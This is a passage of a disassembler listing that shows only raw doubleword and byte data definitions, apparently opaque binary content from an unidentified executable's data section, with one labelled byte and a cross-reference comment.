		dd 4092A19Ah, 7BA9D7ABh, 7C6E905Fh, 1B250D00h, 0E3083CE7h
		dd 0D19E8A2Fh, 0C141005Ch, 3EE04623h, 0C89BB20Fh, 0E00D4E42h
		dd 0C95AC2D5h, 99E95C91h, 0D63B6014h, 0C08DBD13h, 7DB52B6Ah
		dd 0B789CC94h, 103ADCF3h, 3E884B0Bh, 6F12008Ch,	770545CBh
		dd 0C102F563h, 2E02948Fh, 0AE90F51Ah, 4A00E2F9h, 0A5D1D2E0h
		dd 28A8E19h, 89F39B5Bh,	0B47A758Dh, 0B2029F7h, 0C4599509h
		dd 56195AC8h, 0AD2B5308h, 1A22B831h, 0DE036415h, 0A7BC2778h
		dd 0C13D4EDCh, 76330FF0h, 0E513F0E4h, 7495009Bh, 0BF66892Ch
		dd 603D3957h, 4FA1248Bh, 0A56AC0ADh, 5AD48214h,	82DF804Eh
		dd 4A21DA25h, 59BA2061h, 6400FC31h, 3BA0C16Ch, 5CEF056Dh
		dd 8727C0F5h, 0D93099E6h, 0F6F45515h, 0CD6DE3FFh, 0C801B6B8h
		dd 0A89A1317h, 0C188FCBFh, 0B9131BEDh, 0F22E787h, 671EDE82h
		dd 2E31F8D5h, 21021999h, 35D241h, 35C46EBBh, 0AF1634BEh
		dd 0C5DBE956h, 913BE480h, 0F00237CBh, 0C1D0A59Eh, 3736AB8Bh
		dd 7113802Eh, 6DDC97Eh,	46E8E316h, 830976E3h, 5F8401E1h
		dd 0E216F325h, 8B48301Dh, 8701B700h, 0DE77EA99h, 894CF3D9h
		dd 635A9FCh, 824C0015h,	617C6CF2h, 0A96E605Fh, 85342500h
		dd 84A50AF1h, 0ADBD2917h, 0DB0AB9B2h, 6BF047C0h, 760037B7h
		dd 6CB7907Ch, 203F984Ah, 0FA822DF5h, 371A29F7h,	499384FBh
		dd 0D86EC1CFh, 0C950AD5Dh, 3A2051BCh, 5A2B404Dh, 25CA8014h
		dd 33726AAAh, 604CB4F6h, 0A39D2FE3h, 22CFF853h,	8DE9A10Bh
		dd 0EBB88D80h, 8B179BCEh, 64051AAh, 1EAE714Dh, 0CA870191h
		dd 0EA22DB5Bh, 7BF289E1h, 8C50702Ah, 0D7618009h, 606438h
		dd 25EEC172h
		db 7Eh,	15h, 0C8h
byte_544547	db 8Ch			; DATA XREF: ___:off_44720Co
		dd 8EB91838h, 2223CCE8h, 4CCF5C28h, 44B4BEEDh, 0F1E7C157h
		dd 895E0217h, 0B70B5ABCh, 99947710h, 49912900h,	8E97B60Dh
		dd 89F03AF8h, 837EEB8Eh, 3CDF8B46h, 0BF0133B1h,	5EC71947h
		dd 9752DEF7h, 0D542DC4Fh, 8C0257E1h, 0B29AF084h, 5BC029F7h
		dd 39417091h, 3056F760h, 0DA0ADA89h, 0B2FCC0AAh, 1BE04F4h
		dd 0DD1D25BDh, 4E442229h, 0A08918DBh, 9D891802h, 0E3B8AAF7h
		dd 51746D6h, 9D99303Bh,	0B69D905h, 8BDDD988h, 4A85183Bh
		dd 3380EFDEh, 0E9900E1Dh, 0A168DC24h, 29DBEAA7h, 0F1FF13Ah
		dd 84E4B291h, 8015F8DBh, 87EB6E8Dh, 0C1634A53h,	74456A6Dh
		dd 6BAB57Bh, 586807AFh,	0EBC0A865h, 1AB57BE0h, 0A8D18B81h
		dd 9C4F8209h, 0F48CD345h, 619C0089h, 0BBAB919Bh, 58BF55FFh
		dd 9C608BD2h, 25F7F94Ah, 55702FFBh, 0F37101EEh,	0C7F83FA7h
		dd 0D2CF2985h, 27809FDBh, 611EB50Ah, 6C3795h, 950BE241h
		dd 0AE9F19C5h, 1E31E8DFh, 9D6107EBh, 305B0BE9h,	92930D8h
		dd 506CE54Ah, 78C96E6Dh, 3741B52Bh, 66601075h, 0A8D8278Ch
		dd 4035B004h, 0B5FF016Ah, 3F68979Dh, 0B041A785h, 0C27ED0F1h
		dd 8B000F8Fh, 31EFC1FEh, 43C680Ch, 1EA2B920h, 0D925702h
		dd 50FF77A0h, 0BFE91A95h, 85C6F421h, 13C382Dh, 30DF6856h
		dd 7E88A9C5h, 5DD02141h, 0E50EA10Bh, 8D069725h,	5605347Ch
		dd 6112006Eh, 6E0C1C3h,	628BA4Ch, 0EA81F011h, 0EBA9083h
		dd 958914C2h, 0FF972737h, 6F4E5C38h, 5264E840h,	0EE7090FFh
		dd 95A5BA89h, 2B586230h, 0F01AC264h, 81041CA8h,	825A4D38h
		dd 0C02E1283h, 33C50B7h, 3A813BD0h, 84194532h, 2D9C025Ch
		dd 0E9131010h, 8B8846D9h, 0DD20FEC8h, 40031915h, 88064F3Ch
		dd 1E22E9C2h, 12657D8Bh, 58F4655h, 1CC35BF8h, 1BD1030Ch
		dd 4D092920h, 123808DBh, 28644075h, 0B56D058Fh,	0E1F1E462h
		dd 0EC245C2Ch, 0A9811002h, 0B5148CB0h, 0C0330259h, 5DBD83C3h
		dd 0E129234Bh, 4760FD24h, 23A7D268h, 2CCAD49Ah,	150C0129h
		dd 9DD3EB16h, 3809F02h,	207CFE29h, 0E6F617BEh, 0FBAFE0A3h
		dd 4D9FC0E4h, 7E06C092h, 3538AD70h, 290D2C31h, 11D5588h
		dd 0DCB738BEh, 0F1F08867h, 9758C13h, 10E93512h,	61501974h
		dd 38B88A53h, 0E0D13F04h, 0F5821479h, 0E6E9F09Dh, 585BD301h
		dd 82172258h, 0DF23201Eh, 0DEA426E6h, 5271001h,	11B50B91h
		dd 0EE77C42Bh, 0D600576Eh, 7C91323Ah, 7F272F95h, 91C6C3E8h
		dd 7B2C85BDh, 8662F7Ah,	33D943Dh, 0AFEF5FE7h, 0E27792A6h
		dd 0B7E1F9CCh, 0FA22A56Ch, 0D7830B74h, 13C885B9h, 12F41E1h
		dd 0A00A59AAh, 0EB99AB0Dh, 0DCA9121Ah, 0AC73DC55h, 1A80F72Ch
		dd 447BB009h, 0EFF244h,	0D18ABC08h, 0E0CEE74Dh,	5F3D3601h
		dd 0D9CCBE65h, 0CB71BC35h, 74B8C27Dh, 8DFCB624h, 32FEE101h
		dd 9E65ABE8h, 6289B9E8h, 181164B4h, 39323DDDh, 0D735A300h
		dd 59C5CDACh, 78E8C718h, 0CC68167h, 49E20341h, 6B92196Ah
		dd 12DCB8BEh, 0AFE519CAh, 0C4F9A125h, 51C29C4h,	11DF38E8h
		dd 9AC548Ah, 0ADF8659Dh, 0DDBD0112h, 0F731CFEDh, 2A22FDCAh
		dd 5800E67Ah, 750DCE4Ah, 0DC05E5FAh, 6DEE804h, 0CE89CB9h
		dd 83B1F701h, 8AAA5B9Bh, 0E80BC42Eh, 81B0621Dh,	50600115h
		dd 615AC85Fh, 75A4E834h, 859F60AFh, 49822009h, 41271EBDh
		dd 2AF43CB1h, 2195C8h, 40AEDBA0h, 2F77F1C8h, 0F6704117h
		dd 0B58697F1h, 8F58E85Fh, 0DC4BB4h, 428D9235h, 0ED918514h
		dd 88C8E46Eh, 50DF60Ah,	990CE87Bh, 4B315B68h, 402D558h
		dd 0CEA520BEh, 2407F55Ch, 8FA2ED6Fh, 1D756E40h,	74260950h
		dd 166AE827h, 0E04F6F7Eh, 5F24E592h, 0CA50382h,	8F12ECB5h
		dd 0E83CC7C0h, 0C2CC5902h, 51810FEBh, 20DB3FAFh, 0A76B04B8h
		dd 3722700h, 8F515E1Dh,	47280FA4h, 902235A1h, 6C406D0Eh
		dd 59812701h, 0A049C09Fh, 0E8F116A0h, 609D9A64h, 6231B5F0h
		dd 4712806h, 2FC67009h,	423D1E8Dh, 0BD02200Eh, 0EE8A7B00h
		dd 950560E8h, 0C7D0535Bh, 0C8C6006Ah, 6DA8B807h, 60046B44h
		dd 93D9D29h, 5D3EEBDh, 442AA501h, 88229166h, 1E19D77h
		dd 463AB501h, 0A110E801h, 1A209B90h, 9C5D5581h,	4E45602Eh
		dd 0A084DACh, 1604F6E8h, 9834BC29h, 822BF138h, 9F030E59h
		dd 0E891216Dh, 280C497Eh, 4EFA3199h, 0C0739ED5h, 896B8677h
		dd 4098BC48h, 8169C1C7h, 0CB929300h, 99DD5ABEh,	0F6341880h
		dd 6359ED7h, 40F8EF97h,	0CC8A7923h, 0ABB8C54Ah,	0C58D8BC7h
		dd 0FAE7E405h, 467E814h, 21C9130Eh, 0DF0E3732h,	0C5617030h
		dd 0F92558h, 0A7FEC971h, 0CF3280h, 0FB95F014h, 0B00D75DEh
		dd 145B5A8h, 11ED3597h,	73158019h, 487D69B5h, 0B212F541h
		dd 2FECE149h, 2E801A9Eh, 0F6F79B8Fh, 0E41858E0h, 0C15CBDAAh
		dd 0C38B251Ah, 0E140117Eh, 3D87CC6Ch, 1D8B207Ah, 3B04EB25h
		dd 5FDBB85Eh, 0EC800D9Bh, 5B1ECCB5h, 7127CF2Eh,	4AB50515h
		dd 956FD8C4h, 1037F26h,	0B12F3220h, 68E72A58h, 54E1DDA0h
		dd 40F79500h, 50539BFBh, 84D94EB1h, 0C94580A5h,	19977DD2h
		dd 8DD93101h, 975B6C64h, 30108B7h, 0A678E609h, 2F200178h
		dd 0D958D17h, 0B8A92756h, 1C00CCB8h, 36A1D62Bh,	0B8501A89h
		dd 8222E223h, 442D702h,	1DC1DF4h, 0F8CB8454h, 6025D687h
		dd 0B2C4F09Bh, 0CADE0349h, 7F8E34C0h, 85A0FCF1h, 5F833315h
		dd 0B766EBCh, 71CE0375h, 0F8019325h, 408091A2h,	8E35E9ECh
		dd 0F41AC0EFh, 0DC6C7C1Ch, 3E35A5FAh, 95BCB23Dh, 0A0CD6569h
		dd 0DBE790C1h, 0B36157D6h, 2B590020h, 3049248Dh, 21794212h
		dd 2AEC255Ah, 0BBB99ACh, 1415B50h, 0AE3C4DE4h, 30F5A263h
		dd 2538969h, 3DCE4099h,	206F2441h, 0DBEE1FCCh, 0D7B8EC00h
		dd 47783D39h, 9FEA2471h, 0CC31B665h, 53A42BFEh,	7D4BABEh
		dd 80345AEFh, 81901479h, 542B5D6Bh, 0A6EBE51h, 45F6E204h
		dd 854DC702h, 1580433h,	800F031Eh, 4B33760Ch, 0ADF43189h
		dd 29C9482Ah, 0FD2E3AB4h, 21C42DDCh, 470246E3h,	0F1FCD7B9h
		dd 3798893Ah, 471A8005h, 186A7943h, 2365AEC5h, 6AFF9774h
		dd 9DD92448h, 4D95D104h, 103F104h, 25ED8529h, 16A24426h
		dd 25FE4030h, 75C350D8h, 37AA2E69h, 188680ECh, 4C256463h
		dd 0A8FDDC1Bh, 5FF4A4A4h, 0B9AD5D95h, 80519B4Ah, 0EEE72D8Ch
		dd 1FA1FE73h, 4027214h,	0A11D9D89h, 1A4292F8h, 181C6EBEh
		dd 81FF718Dh, 0A2A703C1h, 0D3E97AE6h, 41A0275Ah, 176BB8D6h
		dd 0DB6A61CFh, 0A351C7E1h, 413578E9h, 679420Eh,	15C70927h
		dd 0AF28D9DBh, 0D10940B7h, 0E451A4h, 9B9F84E8h,	0F0BC6627h
		dd 0B31D9640h, 0D5190E1Ah, 74A1B4C3h, 7D6AA97Bh, 7F93BC49h
		dd 87D10BE7h, 0E2062729h, 0DB95E76Dh, 0F03C7024h, 0F95C6D04h
		dd 65ED8D09h, 576DA87Ch, 649100CAh, 0C58A69A3h,	2DE06DBEh
		dd 0C08B2812h, 0CC28BB6Fh, 7AFB5AF4h, 0EED10FBh, 6AEA5784h
		dd 0F8112042h, 68B585E6h, 2D002FA2h, 5AEBE3B7h,	897DAA78h
		dd 0F373AB1Dh, 265D4042h, 0DCDAF6BFh, 2070A2FAh, 0F28B621Ah
		dd 65B0F6E2h, 32A2C203h, 0F1558209h, 52F6092Eh,	0E802864h
		dd 0A0184E9Ch, 9B2404F4h, 356A782Eh, 70B58801h,	42058EDAh
		dd 88498D3Ah, 418C0F54h, 8572D780h, 759D8B16h, 33163AE2h
		dd 87BB87Ch, 610BA995h,	840E8B0Fh, 8D016041h, 7C4C8EE9h
		dd 61264D22h, 0F99D9790h, 0C0BDCD6Fh, 0F072E251h, 0A006B2C8h
		dd 2F7528A1h, 9D332567h
		dd 54491076h, 0D5ADEC5h, 18B25AE6h, 1939F630h, 0F71742CEh
		dd 4EFCC68Dh, 6DB58982h, 6BD12504h, 29D40253h, 0A19458Dh
		dd 2015088Eh, 99314125h, 899D0910h, 2CD0864h, 38C9ED9Bh
		dd 3A308CE1h, 0CDC23120h, 40D39C90h, 543FBA4Fh,	0CB7D5B00h
		dd 0BFED3A33h, 803A9950h, 5630D219h, 904A0779h,	7A837BDBh
		dd 1A894E3Ah, 0ADD442B6h, 0CD272D56h, 6B9C1CEh,	0BD33F487h
		dd 17167D20h, 0E20DFFE9h, 7C3DC4C6h, 0C3CA9A24h, 9C96BC94h
		dd 0F20037F2h, 0AB80F677h, 0C0058D8h, 0B8403E7Eh, 93E1ACCBh
		dd 0B161783Dh, 0F675C524h, 24E59D13h, 0C6E1E340h, 0A8B79DE7h
		dd 5F180280h, 12A3EDD6h, 24B47740h, 9B5195E9h, 46D8C020h
		dd 250B35BFh, 2A6C4393h, 5BD39A0h, 45887594h, 364C2522h
		dd 11E922h, 4331367Ch, 0D6BD6D83h, 324C7300h, 0EC8B5FA3h
		dd 0CC425F88h, 0BD7729DAh, 88BE619Ch, 8F02840Fh, 0B5225DB3h
		dd 3D7F0A59h, 88D50E9Bh, 15606C41h, 0C080CC5Ah,	0F8372B4Bh
		dd 61BA8265h, 1304D95h,	636C49E9h, 518D310Ch, 0E8E0B0FBh
		dd 11E0944h, 186DF473h,	0D4252770h, 0BD5FFCh, 35E4D72Eh
		dd 27D412Ah, 0F4DEDFD4h, 235B1C99h, 0D207AA42h,	0B3C85007h
		dd 0BDC49761h, 73971598h, 8529092Fh, 0C18B6768h, 128DBB3Ch
		dd 42EF3DA9h, 3CDBF00h,	0AFB69A78h, 0D1C82B0Bh,	0EA5100C5h
		dd 0C989CAFFh, 8B4A660Ah, 0D106D1D8h, 24AA5753h, 0BA65BFEh
		dd 1DC929B5h, 0A041520h, 0C81631B9h, 2300799Bh,	4B01933Eh
		dd 1E6E76h, 0D2965205h,	57BB27F7h, 226D5919h, 5C3D8568h
		dd 96DD9050h, 60BF260Ch, 2F74AEC7h, 10716427h, 7BC4F20h
		dd 0B7924703h, 0F07A207Eh, 812CC01Bh, 0BB24855Fh, 88D68D16h
		dd 3E2BE012h, 3B40919Dh, 75BED051h, 6E8C2BCEh, 175369E9h
		dd 0EB816EB0h, 0B0D7E50Eh, 3CC7C77Bh, 743F7C22h, 890F6255h
		dd 0D04E5A46h, 2A843091h, 0BD958910h, 9825FF96h, 2CF810Bh
		dd 6F0B1FCBh, 2985A583h, 8D1881FEh, 79890214h, 0D9C425F3h
		dd 9926B5FEh, 601C850Fh, 0BAD35967h, 8061F383h,	6A42FE5h
		dd 1D0AE9h, 0D48AD1B1h,	8250F936h, 6ECB602Dh, 0BCB597D7h
		dd 8B603E02h, 0E34AC0DAh, 61D90D47h, 7AEAFAB9h,	271E26Fh
		dd 0CC6F5DABh, 7CFE4538h, 3510BFC8h, 9DFCB740h,	0D012F3B7h
		dd 0FCD97504h, 49DF9CDBh, 1957B8E5h, 2C23584h, 0BC40D22Bh
		dd 331AADDEh, 805CD1C2h, 7504E90Eh, 401DBCF4h, 0D68F330Eh
		dd 0FAEC5D00h, 28C1A416h, 0D6B017Ah, 0FB1039D0h, 86AF47CBh
		dd 31393588h, 0F6D95595h, 51B94E1h, 2398D81Ch, 7CA18D19h
		dd 0A76D9F2Dh, 0BC9BC6E0h, 4AFC042Fh, 0C1B8C4FAh, 141488D1h
		dd 542420FAh, 34FC9830h, 86792700h, 80F1C575h, 5B9316D7h
		dd 180DF050h, 8C10337h,	608A958Eh, 800F5819h, 664FC104h
		dd 2FAE26BBh, 0CE80D8DBh, 5B43C9CCh, 0DF36B205h, 0CDC15AB3h
		dd 222F0611h, 0B82519F9h, 40B17598h, 0E7E28D15h, 51204F41h
		dd 0FF054025h, 0B94CE162h, 0A7F41922h, 46437BBh, 807FACE9h
		dd 1A62CB9Dh, 14030A4h,	20628ADFh, 0FC030F11h, 5F8A9A86h
		dd 2CC0B7EDh, 4F2E4E0h,	33609161h, 0A057EA9Dh, 7AC007E8h
		dd 0D3B2E6F3h, 49A0D48h, 606159F2h, 0C326EABh, 0F03814B7h
		dd 6944EA99h, 8DE5437h,	14E8D910h, 0A14B508Ch, 92F704E7h
		dd 0DB04E180h, 0A26C265h, 8DBB82C9h, 80ACBD01h,	595F011Fh
		dd 0DCD3C8B9h, 6517A04h, 29E858E9h, 0DC02FEFEh,	0E5853077h
		dd 2EB66DDh, 0A1962311h, 940F476h, 331707ADh, 0B4402985h
		dd 0E0E7EF81h, 504A121Eh, 0A618958Ah, 0F0F3E3AEh, 2929A9Dh
		dd 0B509576Ch, 0F8021A11h, 4009726Ah, 90BF5221h, 0FD4C91h
		dd 0E1F16AD8h, 5BC69BA0h, 0FB36807h, 8F342E64h,	0CC8AAAh
		dd 1913ECE4h, 1BDD7Ch, 5A228F3Fh, 9E14ADA9h, 24348101h
		dd 2E7B0C4Ch, 7EB9AA29h, 8DCDAE94h, 132AA971h, 998E0402h
		dd 169EAA2Dh, 0D5CA8380h, 330B1836h, 98548A51h,	1F96ADC4h
		dd 0CB2578BBh, 7304F3B8h, 5F534702h, 25AFD019h,	0E3EDE7F8h
		dd 7B7F38E0h, 0B3D9958Ah, 1BAE904h, 7AC159DEh, 20F58243h
		dd 9DD69D6Ah, 19255304h, 180BC70Eh, 0F6018B19h,	0A15040FAh
		dd 35279D18h, 45C8A51Bh, 9954B259h, 6FFFE4C3h, 0AB480089h
		dd 314FB320h, 8D7E5C9Ah, 41C4335Bh, 5EC4A758h, 2E0E3F6h
		dd 0B3053035h, 0BE9E5B5Fh, 849DBB83h, 0F630DA49h, 495C8D09h
		dd 44685E5h, 0BB8D6BDh,	96185A1Dh, 0FFA64EB9h, 77E13EF0h
		dd 0D2949F16h, 0C615A5A1h, 0CDC0D09Bh, 12E31071h, 686DCC07h
		dd 0B930C07Ch, 988159B3h, 4383022Fh, 8DF846B6h,	1864634Dh
		dd 58B89760h, 0BB556C00h, 5DE31ECAh, 789B090h, 13BF6650h
		dd 19378935h, 886F5980h, 259E6ACFh, 808AE6BFh, 876CBFDh
		dd 0D38D1CDCh, 0C005D231h, 0C2DB80F0h, 376E614Ah, 9AA56418h
		dd 0F402BBFBh, 0C734209Ah, 0D107E685h, 28BDB02Fh, 0CF0216D3h
		dd 416D7CF0h, 0D6832006h, 423C615Ch, 2D7B59E1h,	0D821F35Eh
		dd 0CB161988h, 1608293Fh, 4FE90B0Ah, 5FDA4873h,	8EE2D381h
		dd 1E5F731Dh, 9D4062EAh, 0BFDB44Ch, 9DD295BDh, 30505F07h
		dd 4407110Ch, 0E8C10130h, 0EA4F510h, 894C1FC4h,	0DC485803h
		dd 366EEBE7h, 6421F036h, 1BB170CFh, 28299A50h, 58180621h
		dd 57016813h, 5903491Bh, 0D4AA80C0h, 2B96C277h,	8503B8F6h
		dd 7B958635h, 36BF5091h, 8880204h, 85A014DFh, 0AE828219h
		dd 452925h, 5F03FC89h, 28012C3Dh, 1B2D9D8Bh, 13478404h
		dd 80FEE82Fh, 0A2EFDCD6h, 80510089h, 3FAD42BCh,	0B0B26E1h
		dd 0D4C40754h, 0AEAB042Dh, 4DDF05Fh, 419AEBBCh,	993B615Dh
		dd 106C710h, 330484E1h,	0F8A0219Dh, 8E0F2C96h, 14B741BDh
		dd 0F2B52150h, 49377Dh,	312AF5Bh, 0A56659Dh, 0CBB65F71h
		dd 52E2D0E3h, 0B77D907Dh, 39902DEh, 5BBA1B92h, 2A098081h
		dd 81315BE4h, 0BB66387Ah, 9B5920CDh, 0CCB8B569h, 104A7204h
		dd 7C4009E9h, 0F4A230DEh, 0F9C7120Ah, 963AE017h, 9A05B915h
		dd 5F6F3165h, 0A8A08512h, 760D22ADh, 64D2709h, 0C486A2C8h
		dd 72DE3AE1h, 4B55E393h, 6EAEBB34h, 82800A7h, 94CC8B7Fh
		dd 5C517009h, 0A45A256Dh, 8313F853h, 1BC04C2h, 205089C2h
		dd 0E3B569ECh, 0B3894C32h, 0A20CD412h, 322F2013h, 0B8FE6CB3h
		dd 931A911Fh, 0C48C32EAh, 7EA14761h, 3C7ADD52h,	2347E1Fh
		dd 0B0C1DC10h, 1610960h, 856C3185h, 81C2040Ah, 0BF3AF9DEh
		dd 0CD12FEFEh, 0E821500Ch, 46972434h, 67288420h, 0E2F22660h
		dd 7468D5BDh, 0EB068161h, 6D6AAECAh, 90115E60h,	0DF9BDBCh
		dd 5446F89Ch, 82605FC5h, 2B001DE1h, 0CD2EC595h,	8885504Fh
		dd 271E5925h, 3B00A064h, 359352F0h, 2DC812C7h, 0CE44F253h
		dd 0EEA37300h, 30E71FD7h, 31BB0095h, 0ED703EAEh, 592A438Dh
		dd 2E7F1761h, 639BAB00h, 0DF8DB139h, 0C2381C03h, 465ECA1Fh
		dd 0F380417Eh, 7DE0881Eh, 13C22802h, 48783D3h, 0CACD9BF6h
		dd 789A4B56h, 7CA6580h,	4C047EAAh, 53F20ECFh, 0C07427AFh
		dd 0C2E5CF9h, 0C0057400h, 1E3E94CBh, 0C3810015h, 326B02B0h
		dd 1019BF5Bh, 71B12052h, 9BCB126Eh, 8E30825Ah, 90EAFE03h
		dd 226E580Bh, 302149C2h, 6BF10228h, 0FFCD3D62h,	0D986D5C0h
		dd 564C01FCh, 0AEFE7ABBh, 9D9A421Dh, 7890E7F2h,	251EB520h
		dd 7F73C6F9h, 669ED0h, 0C6AEC941h, 93BCBFB4h, 0E5200B98h
		dd 85C7130Dh, 705BEC71h
		dd 6455EF9Dh, 0FDA98392h, 23E9590Bh, 0F40476F3h, 0C44DDC05h
		dd 0C3B19005h, 130C1C9h, 0CF61D0D5h, 9B73957Bh,	0E2FE8B09h
		dd 0E0BA4D5Dh, 0F1A9965Bh, 1E2661Fh, 0BF4CF4C0h, 6C169323h
		dd 0DF76546Ah, 648D0BCBh, 0D6BF0049h, 0B52957DEh, 90CD1F11h
		dd 8CC09E5Fh, 523797E8h, 0CDCE0A80h, 781C13Fh, 0DF7DB4CFh
		dd 2DCB600Ch, 644FF2E5h, 0FC158620h, 0AF460068h, 0A08C7017h
		dd 9409BF1Ch, 78B5A9B2h, 8EA1A006h, 58920718h, 1B9D0156h
		dd 905B0322h, 4D0A807Fh, 8006F921h, 0ACA1585Ah,	1476FED8h
		dd 973DE10h, 1DBD0B61h,	0DE5EE4E3h, 209D5D98h, 0D09002DDh
		dd 92CF6948h, 0FE6FBBh,	88571F87h, 97F88FC7h, 1D91FF35h
		dd 0AD506A80h, 6F024515h, 0F6286D44h, 57888C23h, 8DFA388Bh
		dd 0F23BA3DEh, 1C16301Ah, 3027551Ch, 0D1FF93C4h, 63A203BCh
		dd 35D22B27h, 287B3218h, 1D61150h, 0C95BD03Fh, 420A6730h
		dd 0C65550DDh, 855E5EF9h, 8974F296h, 3E195D61h,	0E5CC3ADDh
		dd 89035890h, 0B29B2520h, 3051B584h, 0B8A0E904h, 8C0AE1CDh
		dd 0F729C304h, 745EFB9Ah, 8DCF4BDCh, 6E202E95h,	0EFF8E3h
		dd 54F40CAEh, 55C2DE3Eh, 0F96A4590h, 0BB8171B5h, 3B2F6FC3h
		dd 53E205h, 1E549449h, 1F5B4853h, 8E0FB5C1h, 55F26160h
		dd 3F069084h, 3F402559h, 5FC44E80h, 0E780E200h,	3894BDCBh
		dd 0C86C01FDh, 0CA8D2A7Dh, 2FC73EBFh, 0D1B6FE40h, 565F6414h
		dd 96A9B990h, 0A803DF08h, 98F84BB5h, 0BF05FCA6h, 127B268h
		dd 0FB2764EBh, 64860C4h, 0FF6A092Ch, 5B809137h,	894CE084h
		dd 75780BEBh, 7FF84D87h, 3BBB2D96h, 0CFA05C6Dh,	957A9206h
		dd 553D100h, 9DD38275h,	0F640D09Ch, 2C66B85h, 0B38197AFh
		dd 0C35C5BC7h, 435412C4h, 0B058F45Bh, 6A02BFE0h, 0E6324298h
		dd 288FFF70h, 0BAA271CBh, 0EC77246Dh, 547997D0h, 0C9B96164h
		dd 4CADF29h, 0AAF5C8B6h, 58BF648Ch, 894850F8h, 0FC161116h
		dd 0C4B38419h, 9DD742FAh, 0EC57198Dh, 90550148h, 8603ED36h
		dd 5AC83E6Fh, 0C7C84B2Bh, 7A562909h, 3D03B23Dh,	0FC8A2202h
		dd 99D614E2h, 0BD9D2B82h, 4B845229h, 87B85DFh, 0F59A01FDh
		dd 2433A814h, 72F88B09h, 0E921447Eh, 1241344h, 224E067Eh
		dd 0DCA564E3h, 481E9995h, 43023151h, 795B23C4h,	98626CEh
		dd 2B74D4E2h, 0E335626Dh, 377F222Bh, 0A5A5FC27h, 3DFE150Ah
		dd 0B3D91780h, 386D2316h, 4D1E715Dh, 0CBBBC0A0h, 328B05C1h
		dd 12B723B8h, 914F831Ah, 0E60D4902h, 98CCA4Ah, 0F5E8187Bh
		dd 739FF737h, 531D95h, 50218AACh, 7F9981Ah, 9314D0D2h
		dd 15A760B7h, 0F52ED617h, 0C912EE66h, 1E5FA2E2h, 0E14D92E8h
		dd 247B3FAFh, 0E5050273h, 0D26B95Dh, 1FE63DDDh,	806F012Dh
		dd 8FDC922Ah, 696A8AA0h, 916C077Ch, 2CA971C9h, 1E850874h
		dd 10F1D83Bh, 8C4A2649h, 48BD8599h, 99BAF80Ch, 0C8E8871h
		dd 0ADBC8845h, 4A8FA9D3h, 9B5F8CCFh, 0FF8480A6h, 0FD33E4h
		dd 0E161465h, 2B59509h,	3938BF80h, 894B0B26h, 0E5C82EA1h
		dd 0D59B0025h, 32E7C19Dh, 390694BCh, 8F4104Ch, 0E8D2734h
		dd 3C82F71Ah, 0B25C2AADh, 93C781E0h, 207325A3h,	0DB6979C5h
		dd 85D47096h, 40C4512Dh, 1224BB14h, 0E2133902h,	0C63D8971h
		dd 0A712053h, 0C2FDE581h, 0E6356105h, 0C727EB04h, 53CB7DB8h
		dd 2E40EA5Eh, 362FC87h,	0DF1CC020h, 18995CD8h, 285BC592h
		dd 0E1FF0A19h, 2A169529h, 958B53DDh, 19D4049Bh,	0B28304F4h
		dd 81D639AEh, 58150D4Fh, 0CC830133h, 9FEC89B9h,	6E1F8804h
		dd 99C4FE25h, 0DBE032AEh, 1651C05Ch, 3F60FC11h,	9880569Bh
		dd 6F0B8F1Eh, 943E6A00h, 0BD2B8063h, 3E1C4539h,	0AAC05D9Eh
		dd 79FDDF27h, 4B58DC38h, 8D298F80h, 0B4C9D205h,	14F4F79h
		dd 0BAA422A7h, 4060B7C2h, 99022131h, 252490D8h,	9C8C4661h
		dd 526625D4h, 0BB0B567Ah, 905F0527h, 20A7D9E4h,	514A358Eh
		dd 0D9886435h, 836C960h, 0D725E6D0h, 0DE2CDE61h, 0B8CFA60Ah
		dd 510BBDA0h, 0D1819009h, 0F0298104h, 15F90879h, 1806EFAh
		dd 0BFA67F8Dh, 19E1E6BEh, 12E98A31h, 3872E802h,	1F03FF1Ch
		dd 0D0A5DC32h, 31CDEA6Ch, 0B3578B63h, 0B087DB01h, 4AAB4189h
		dd 0F9BF6FA0h, 4509D175h, 50FD8A58h, 9B6FB564h,	21BA406Eh
		dd 66B060h, 0E0576733h,	5C59531h, 29EDBB92h, 58CC4A47h
		dd 0DE109F60h, 0A200D60Ah, 0D1DDE2EAh, 16A380BEh, 0CD867A65h
		dd 0ED716067h, 0E96100E7h, 0BFDB9F9h, 0A2293585h, 8BA03B59h
		dd 602CB7F2h, 27185803h, 9761D123h, 2EFB4331h, 24FD3F35h
		dd 4205ADB8h, 9F2272F4h, 499221AFh, 358C3B41h, 1602726Bh
		dd 94DAF1B5h, 0EE34AF05h, 2E6CBCC0h, 5F542DE4h,	8A257946h
		dd 9780C6D9h, 0ADEAD6E4h, 0CEA99D03h, 573D380h,	0F96006AAh
		dd 3870929h, 362B112h, 0C9B7942Ah, 41EF3D58h, 21EF9A4h
		dd 0A545595Bh, 0A8897A42h, 7300E6F9h, 0F1392302h, 0BF73996h
		dd 598EE601h, 0F96AAB3Ah, 80426CB4h, 0AC8374E2h, 31A53DB9h
		dd 0F2472380h, 5FDE0512h, 93615C2Dh, 1225AACAh,	51DBE529h
		dd 1EAA478h, 7EB556D4h,	0EEB6CE25h, 89D846C1h, 36243568h
		dd 0DFFD25ACh, 0A1616FD4h, 0F6404711h, 3F1319C0h, 4182D414h
		dd 9565247Bh, 0AA15C798h, 544EEAF4h, 0CA4DA520h, 2CDD077Fh
		dd 195FA8C0h, 4A5D519h,	0AD806FFCh, 494ECF8Ch, 91B7BC09h
		dd 0D8DE125Fh, 8DC64A4Dh, 0C561E947h, 4DB3A58h,	0B8232584h
		dd 0B589C1BFh, 0A86906D5h, 4DA7DE21h, 2142404Ah, 0EB056698h
		dd 947905FFh, 0F428AD05h, 12005BA2h, 0E55827EDh, 0A8004972h
		dd 4470DF84h, 9B7CFFCCh, 81D264Fh, 61041871h, 95E853F8h
		dd 7C15CA80h, 73032439h, 0D88B591Ah, 81B88C5Bh,	45B509B0h
		dd 1495239Ah, 9D3E705Ch, 49D05153h, 27E976EFh, 4D90B06Ah
		dd 44F25D5Ch, 8EF4FE00h, 0FABCD83Fh, 0A1952A89h, 5DE948B6h
		dd 0B8D98B84h, 4794EB3Ch, 481BF18h, 0AA0B01F1h,	37610A70h
		dd 0AEA482B0h, 0A4E1633Bh, 85110ADAh, 0DE206540h, 0A6ADDC2Dh
		dd 75D224F3h, 57FC5642h, 0F1110269h, 520F540Eh,	8909D74Ch
		dd 0E82349BDh, 8127A5BBh, 38352E61h, 0EBE4DDB6h, 9401F88h
		dd 46421761h, 0BFA0BC59h, 0C63F1125h, 7003BB5Bh, 0C2010F76h
